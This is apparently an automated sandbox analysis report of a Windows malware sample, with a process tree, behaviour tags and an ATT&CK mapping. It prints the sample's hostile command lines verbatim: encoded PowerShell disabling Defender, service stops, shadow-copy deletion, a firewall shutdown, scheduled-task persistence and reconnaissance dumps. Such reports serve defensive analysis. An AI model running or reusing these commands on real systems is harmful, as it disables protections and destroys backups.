PID 4076 wrote to memory of 5620	4076	pyramidpad.io_chrome.exe	114
PID 4076 wrote to memory of 3416	4076	pyramidpad.io_chrome.exe	116
PID 5044 wrote to memory of 5188	5044	chrome.exe	117
PID 5044 wrote to memory of 5188	5044	chrome.exe	117
PID 4076 wrote to memory of 5904	4076	pyramidpad.io_chrome.exe	143
PID 3416 wrote to memory of 2912	3416	fodhelper.exe	119
PID 4076 wrote to memory of 2672	4076	pyramidpad.io_chrome.exe	121
PID 4076 wrote to memory of 2820	4076	pyramidpad.io_chrome.exe	123
PID 4076 wrote to memory of 3796	4076	pyramidpad.io_chrome.exe	125
PID 4076 wrote to memory of 5348	4076	pyramidpad.io_chrome.exe	131
PID 4076 wrote to memory of 3880	4076	pyramidpad.io_chrome.exe	133
PID 4076 wrote to memory of 4364	4076	pyramidpad.io_chrome.exe	135
PID 4076 wrote to memory of 6012	4076	pyramidpad.io_chrome.exe	140
PID 4076 wrote to memory of 3184	4076	pyramidpad.io_chrome.exe	141
PID 4076 wrote to memory of 5904	4076	pyramidpad.io_chrome.exe	143
PID 4076 wrote to memory of 1224	4076	pyramidpad.io_chrome.exe	144
PID 4076 wrote to memory of 2712	4076	pyramidpad.io_chrome.exe	145
PID 4076 wrote to memory of 5320	4076	pyramidpad.io_chrome.exe	146
PID 4076 wrote to memory of 4356	4076	pyramidpad.io_chrome.exe	147
PID 4076 wrote to memory of 3952	4076	pyramidpad.io_chrome.exe	148
PID 4076 wrote to memory of 5296	4076	pyramidpad.io_chrome.exe	149
PID 4076 wrote to memory of 1500	4076	pyramidpad.io_chrome.exe	157
PID 4076 wrote to memory of 5832	4076	pyramidpad.io_chrome.exe	158
PID 4076 wrote to memory of 2836	4076	pyramidpad.io_chrome.exe	159
PID 4076 wrote to memory of 2932	4076	pyramidpad.io_chrome.exe	160
PID 4076 wrote to memory of 1152	4076	pyramidpad.io_chrome.exe	161
PID 4076 wrote to memory of 3360	4076	pyramidpad.io_chrome.exe	162
PID 4076 wrote to memory of 5604	4076	pyramidpad.io_chrome.exe	163
PID 6012 wrote to memory of 5524	6012	cmd.exe	170
PID 4356 wrote to memory of 4180	4356	cmd.exe	202
PID 5320 wrote to memory of 4132	5320	cmd.exe	172
PID 2932 wrote to memory of 3612	2932	net.exe	173
PID 2712 wrote to memory of 784	2712	cmd.exe	174
PID 5904 wrote to memory of 4592	5904	cmd.exe	175
PID 1224 wrote to memory of 1848	1224	cmd.exe	176
PID 3952 wrote to memory of 2792	3952	cmd.exe	177
PID 4132 wrote to memory of 3600	4132	net.exe	178
PID 6012 wrote to memory of 2456	6012	cmd.exe	179
PID 5044 wrote to memory of 2516	5044	chrome.exe	180
PID 5044 wrote to memory of 5880	5044	chrome.exe	182
PID 5044 wrote to memory of 324	5044	chrome.exe	198
PID 5044 wrote to memory of 5880	5044	chrome.exe	182
PID 5044 wrote to memory of 324	5044	chrome.exe	198

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://pyramidpad.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffef9e3c728,0x7ffef9e3c734,0x7ffef9e3c740
    3⤵
    PID:3792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,12668491774699587024,9953954208359420326,262144 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=1892 /prefetch:2
    3⤵
    PID:3476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1468,i,14748818868668514746,6182219908293068934,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2152,i,9866203126736300445,11943364353984936650,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:13
    3⤵
    PID:5112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,15091105149737894422,11332434189921437232,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
    3⤵
    PID:4396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,3304783321968128080,3431719254241209662,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:1
    3⤵
    PID:3844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4648,i,11448306555638174877,3321943498070648720,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:14
    3⤵
    PID:420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4884,i,13272733020572053448,16767108724904124505,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=4900 /prefetch:1
    3⤵
    PID:5188
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5528,i,12324983234216597867,15569686666442959501,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:14
    3⤵
    PID:2516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5644,i,8517865557905178162,16889990986971635367,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:1
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5628,i,16440158389814024559,13320463053520851139,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:1
    3⤵
    PID:5880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5828,i,2168787425608742387,4424361268332242332,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:1
    3⤵
    PID:4520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5636,i,14393325862865854263,10507111016726738633,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:1
    3⤵
    PID:252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5364,i,14734295680842872034,4544041035627261422,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:1
    3⤵
    PID:3056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5640,i,2047868068704048223,12257692189157876425,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:1
    3⤵
    PID:2392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5852,i,15787926563400841924,9956776882688652683,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:1
    3⤵
    PID:3444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5824,i,14066054951338935564,17581776752256078937,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:1
    3⤵
    PID:4720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5616,i,5532729818446342221,13988091865292321617,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14
    3⤵
    PID:3156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5448,i,6260763294187158059,513504551061628545,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:14
    3⤵
    PID:684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5640,i,16728908073536041584,10512811544470153755,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:14
    3⤵
    PID:1376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5656,i,14329084479120371577,14460446918818985127,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:9
    3⤵
    PID:5532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5360,i,10476904345057769990,7214347008466510215,2097152 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:1
    3⤵
    PID:3260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=256,i,366051360971111561,16244899743226457670,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:14
    3⤵
    PID:3232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,1797730910163094224,17424988450679241498,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:14
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5836,i,4742384089478010674,5806414287103233075,524288 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
    3⤵
    PID:1020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6100,i,10200053752571274405,6078812402297180495,262144 --field-trial-handle=1896,i,2536210984169511173,1780066888662214369,262144 --variations-seed-version --mojo-platform-channel-handle=1236 /prefetch:10
    3⤵
    PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1712
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1224
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4876
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4284
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4544
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3504
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3184
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5620
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe"
    3⤵
    PID:2912
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5904
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2672
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2820
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3796
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5348
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3880
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6012
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5524
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2456
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5904
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1848
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5320
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4132
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3600
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2792
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5296
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1500
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5832
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2836
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3612
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1152
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3360
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5604

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3428

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2064

C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
1⤵
PID:1792

C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
1⤵
PID:5008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4728

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery